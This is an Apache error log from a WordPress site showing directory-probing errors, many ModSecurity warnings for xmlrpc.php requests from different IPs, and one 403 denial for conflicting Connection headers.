[Wed Apr 15 06:26:24.743085 2026] [autoindex:error] [pid 4065:tid 4096] [client 45.131.195.125:31829] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:25.168463 2026] [autoindex:error] [pid 4065:tid 4087] [client 45.131.195.125:31829] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:26.782701 2026] [autoindex:error] [pid 4065:tid 4092] [client 45.131.195.125:31829] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:29.277324 2026] [autoindex:error] [pid 4065:tid 4097] [client 45.131.195.125:31829] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:34.257443 2026] [autoindex:error] [pid 4065:tid 4095] [client 45.131.195.125:31829] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:39.307170 2026] [autoindex:error] [pid 4065:tid 4096] [client 45.131.195.125:31829] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:45.410963 2026] [autoindex:error] [pid 4065:tid 4089] [client 45.131.195.125:31829] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:49.445365 2026] [autoindex:error] [pid 4065:tid 4079] [client 45.131.195.125:31829] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:26:49.680613 2026] [autoindex:error] [pid 4065:tid 4095] [client 45.131.195.125:31829] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 15 06:31:27.635453 2026] [:error] [pid 4169:tid 4198] [client 157.66.27.55:37274] [client 157.66.27.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7APx15U5D-N99n_jKS4QAAANc"]
[Wed Apr 15 06:37:16.448713 2026] [:error] [pid 45504:tid 45512] [client 168.227.250.223:56752] [client 168.227.250.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.227.250.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7BnK3iO9_fE_IQEMlaLAAAAQY"]
[Wed Apr 15 06:37:51.127024 2026] [:error] [pid 4065:tid 4099] [client 212.47.74.48:56324] [client 212.47.74.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.74.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7BvwWArgJTHu2_6OzT9AAAABc"]
[Wed Apr 15 06:41:12.549947 2026] [:error] [pid 45504:tid 45515] [client 59.125.102.226:54442] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7CiK3iO9_fE_IQEMlcHwAAAQk"]
[Wed Apr 15 06:45:49.589712 2026] [:error] [pid 45504:tid 45519] [client 89.163.159.173:59338] [client 89.163.159.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.163.159.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7Dna3iO9_fE_IQEMleDAAAAQ0"]
[Wed Apr 15 06:50:50.433690 2026] [:error] [pid 45504:tid 45530] [client 47.244.90.157:52352] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7Eyq3iO9_fE_IQEMlhMwAAARg"]
[Wed Apr 15 07:03:27.096567 2026] [:error] [pid 4066:tid 4113] [client 190.121.23.218:42540] [client 190.121.23.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.121.23.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7Hv4C2YXfSPsC9O_CB-QAAAEk"]
[Wed Apr 15 07:05:12.361462 2026] [:error] [pid 4066:tid 4105] [client 20.238.240.42:2688] [client 20.238.240.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.238.240.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7IKIC2YXfSPsC9O_CDRgAAAEE"]
[Wed Apr 15 07:06:22.775140 2026] [:error] [pid 45504:tid 45530] [client 149.202.83.206:46850] [client 149.202.83.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.83.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7Ibq3iO9_fE_IQEMlszQAAARg"]
[Wed Apr 15 07:11:00.404120 2026] [:error] [pid 45504:tid 45520] [client 107.180.249.30:52308] [client 107.180.249.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.249.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7JhK3iO9_fE_IQEMlvqgAAAQ4"]
[Wed Apr 15 07:11:17.185978 2026] [:error] [pid 4169:tid 4195] [client 164.132.207.73:53810] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7JlR15U5D-N99n_jKpqAAAANQ"]
[Wed Apr 15 07:12:26.134560 2026] [:error] [pid 45504:tid 45516] [client 88.99.147.18:35136] [client 88.99.147.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.99.147.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7J2q3iO9_fE_IQEMlxBAAAAQo"]
[Wed Apr 15 07:13:12.488157 2026] [:error] [pid 45504:tid 45507] [client 51.210.113.223:41312] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7KCK3iO9_fE_IQEMlxkQAAAQE"]
[Wed Apr 15 07:15:18.263268 2026] [:error] [pid 4066:tid 4111] [client 159.89.50.224:47760] [client 159.89.50.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.50.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7KhoC2YXfSPsC9O_CGHgAAAEc"]
[Wed Apr 15 07:20:18.627388 2026] [:error] [pid 45504:tid 45526] [client 104.168.115.206:42784] [client 104.168.115.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.168.115.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7Lsq3iO9_fE_IQEMl2SwAAARQ"]
[Wed Apr 15 07:26:44.915279 2026] [:error] [pid 4169:tid 4178] [client 85.128.143.121:38186] [client 85.128.143.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.121, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7NNB15U5D-N99n_jKw0AAAAMY"]
[Wed Apr 15 07:28:06.140111 2026] [:error] [pid 4067:tid 4147] [client 109.172.115.12:36226] [client 109.172.115.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.172.115.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7Nhu5XHBJU8ZrRxZ1d-gAAAJA"]
[Wed Apr 15 07:30:36.449304 2026] [:error] [pid 4169:tid 4173] [client 185.98.139.113:57620] [client 185.98.139.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7OHB15U5D-N99n_jKzYwAAAME"]
[Wed Apr 15 07:31:17.542841 2026] [:error] [pid 4169:tid 4184] [client 45.56.121.237:60476] [client 45.56.121.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.56.121.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7ORR15U5D-N99n_jKzqAAAAMw"]
[Wed Apr 15 07:32:53.807836 2026] [:error] [pid 4066:tid 4125] [client 157.245.42.243:43580] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7OpYC2YXfSPsC9O_CKwwAAAFU"]
[Wed Apr 15 07:37:32.736307 2026] [:error] [pid 45504:tid 45511] [client 67.205.40.180:38562] [client 67.205.40.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.40.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7PvK3iO9_fE_IQEMmDTAAAAQU"]
[Wed Apr 15 07:38:05.089050 2026] [:error] [pid 4065:tid 4089] [client 185.98.139.113:54722] [client 185.98.139.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7P3QWArgJTHu2_6OzgegAAAA0"]
[Wed Apr 15 07:39:05.475109 2026] [:error] [pid 45504:tid 45529] [client 68.183.124.132:46146] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7QGa3iO9_fE_IQEMmEJQAAARc"]
[Wed Apr 15 07:45:25.859081 2026] [:error] [pid 30160:tid 30223] [client 185.226.232.56:52720] [client 185.226.232.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.226.232.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7RlWAQvK-sYhUO10hcbAAAAIQ"]
[Wed Apr 15 07:45:55.984935 2026] [:error] [pid 30554:tid 30592] [client 103.205.142.28:42330] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7Rs16Jrdy3caXvUkuQmQAAAEU"]
[Wed Apr 15 07:47:29.296650 2026] [:error] [pid 30554:tid 30592] [client 217.154.192.21:55224] [client 217.154.192.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.192.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7SEV6Jrdy3caXvUkuRQQAAAEU"]
[Wed Apr 15 07:48:20.038840 2026] [:error] [pid 30555:tid 30638] [client 212.125.4.206:47322] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7SRFTZEITMpQMsOniWQwAAAJg"]
[Wed Apr 15 07:48:24.020966 2026] [:error] [pid 30644:tid 30663] [client 100.24.110.95:43782] [client 100.24.110.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 100.24.110.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7SSK8vuyJ0N41zsM_L5QAAAM0"]
[Wed Apr 15 08:01:19.952784 2026] [:error] [pid 30644:tid 30673] [client 217.154.5.38:48678] [client 217.154.5.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.5.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7VT68vuyJ0N41zsM_X6AAAANc"]
[Wed Apr 15 08:03:54.754063 2026] [:error] [pid 30644:tid 30673] [client 81.8.91.201:40792] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7V6q8vuyJ0N41zsM_ZPgAAANc"]
[Wed Apr 15 08:04:31.513662 2026] [:error] [pid 30555:tid 30618] [client 157.66.27.55:55170] [client 157.66.27.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7WD1TZEITMpQMsOnifgwAAAIQ"]
[Wed Apr 15 08:10:32.877644 2026] [:error] [pid 30644:tid 30670] [client 161.35.47.44:40742] [client 161.35.47.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.47.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7XeK8vuyJ0N41zsM_d_QAAANQ"]
[Wed Apr 15 08:15:38.885194 2026] [:error] [pid 30555:tid 30623] [client 54.36.209.212:35280] [client 54.36.209.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.209.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7YqlTZEITMpQMsOnikiAAAAIk"]
[Wed Apr 15 08:17:51.073727 2026] [:error] [pid 30554:tid 30588] [client 152.42.226.162:41746] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.226.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7ZL16Jrdy3caXvUkuckQAAAEE"]
[Wed Apr 15 08:19:57.916489 2026] [:error] [pid 30644:tid 30654] [client 144.217.252.106:40222] [client 144.217.252.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.217.252.106, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7Zra8vuyJ0N41zsM_kBQAAAMQ"]
[Wed Apr 15 08:20:00.003134 2026] [:error] [pid 30644:tid 30663] [client 104.37.174.183:45582] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7ZsK8vuyJ0N41zsM_kEAAAAM0"]
[Wed Apr 15 08:22:38.745077 2026] [:error] [pid 30554:tid 30591] [client 59.125.102.226:60110] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7aTl6Jrdy3caXvUkudyQAAAEQ"]
[Wed Apr 15 08:23:20.834230 2026] [:error] [pid 30555:tid 30625] [client 77.95.113.65:42932] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7aeFTZEITMpQMsOninWgAAAIs"]
[Wed Apr 15 08:25:05.490510 2026] [:error] [pid 30555:tid 30638] [client 51.68.74.67:57052] [client 51.68.74.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.68.74.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7a4VTZEITMpQMsOnioFQAAAJg"]
[Wed Apr 15 08:27:30.844336 2026] [:error] [pid 30553:tid 30575] [client 212.129.7.184:42200] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7bcqWezn1lK_o0BrrfNQAAABA"]
[Wed Apr 15 08:29:43.743877 2026] [:error] [pid 30644:tid 30653] [client 63.131.146.5:55520] [client 63.131.146.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 63.131.146.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7b968vuyJ0N41zsM_p0AAAAMM"]
[Wed Apr 15 08:31:21.713203 2026] [:error] [pid 30644:tid 30657] [client 150.95.26.37:43473] [client 150.95.26.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.95.26.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7cWa8vuyJ0N41zsM_qRgAAAMc"]
[Wed Apr 15 08:37:05.937297 2026] [:error] [pid 30554:tid 30590] [client 85.128.143.124:52522] [client 85.128.143.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7dsV6Jrdy3caXvUkuiNgAAAEM"]
[Wed Apr 15 08:38:01.812768 2026] [:error] [pid 30554:tid 30596] [client 148.113.209.194:38602] [client 148.113.209.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.209.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7d6V6Jrdy3caXvUkuikQAAAEk"]
[Wed Apr 15 08:38:15.641624 2026] [:error] [pid 30644:tid 30664] [client 77.68.115.185:39896] [client 77.68.115.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.115.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7d968vuyJ0N41zsM_t5QAAAM4"]
[Wed Apr 15 08:38:54.515295 2026] [:error] [pid 30555:tid 30614] [client 78.88.230.100:57594] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad7eHlTZEITMpQMsOnitHAAAAIA"]
[Wed Apr 15 08:45:03.302526 2026] [:error] [pid 30555:tid 30627] [client 43.135.142.7:38276] [client 43.135.142.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad7fj1TZEITMpQMsOniwmgAAAI0"]
